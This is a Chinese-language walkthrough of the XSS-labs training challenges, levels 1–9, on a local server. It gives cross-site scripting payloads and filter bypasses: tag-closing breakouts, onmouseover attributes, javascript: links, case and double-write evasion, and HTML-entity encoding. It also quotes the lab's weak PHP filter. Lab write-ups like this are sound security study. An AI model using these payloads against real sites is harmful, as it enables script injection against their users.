XSS-labs

http://127.0.0.1/xss-labs/

其他的XSS：XSS Challenges (by yamagata21) - Stage #1 (int21h.jp)

第1关

http://127.0.0.1/xss-labs/level1.php?name=test

先找到注入的地方,在URL上，按ctrl+u，查看源代码

```
<script>alert('1')</script>
```

第2关

出来一个搜索框，随便输点什么，查看一下页面源代码

```
</h2><script>alert('1')</script><h2>
```

没成，查看源代码，发现<>这来符号被转成文本了，但是下面两行又有一个，考虑在这里构造闭合并引入script标签

```
"><script>alert('1')</script>
```

成功!

第3关

http://127.0.0.1/xss-labs/level3.php?writing=wait

随便输点什么，点搜索后，看看页面源代码，发现上一关的思路这里可以接着用，构造闭合

```
'><script>alert('1')</script>
```

发现左右括号被替换成了>和<，但是单引号不受影响，那就试着用单引号构造

```
' onmouseover=javascript:alert(1) '
```

输进去点搜索，没有弹窗不要急，鼠标移到搜索框的地方，就又弹窗了

下一关！！

第4关

http://127.0.0.1/xss-labs/level4.php?keyword=try%20harder!

一样的，查看一下页面源代码，发现与第3关基本一致，单引号换成了双引号而已，同样的方法再试试

```
" onmouseover=javascript:alert(1) "
```

输入搜索后，移动到搜索框，就过了

第5关

http://127.0.0.1/xss-labs/level5.php?keyword=find%20a%20way%20out!

先看源代码，试试上一关的办法

```
" onmouseover=javascript:alert(1) "
```

发现on被替换成o_no，翻看后端，<script也被替换成<scr_ipt

这题考虑javascript伪协议

```
1"><a href=javascript:alert("123")>
```

搜索后出现一个链接，点一下就弹窗过关

第6关

http://127.0.0.1/xss-labs/level6.php?keyword=break%20it%20out!

再尝试上一关的方法，发现href被替换成了hr_ef

看一下后端，替换的还不少

```
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
```

尝试其他绕过，大小写绕过

```
"><Script>alert("12")</Script>"<
```

过啦！

第7关

http://127.0.0.1/xss-labs/level7.php?keyword=move%20up!

上一关的试试

```
"><Script>alert("12")</Script>"<
```

查看网页源代码，发现script没了，双写试一下

```
"><ScrScriptipt>alert("12")</ScrScriptipt>"<
```

过啦！

第8关

http://127.0.0.1/xss-labs/level8.php?keyword=nice%20try!

这关有个友情链接，输入的内容会成为友情链接

```
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;
```

那就编个码绕过

第九关

试了半天没啥思路，看了下后端代码，需要加一个http：那就加一个就好了

```
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http//
```

再试一下就过了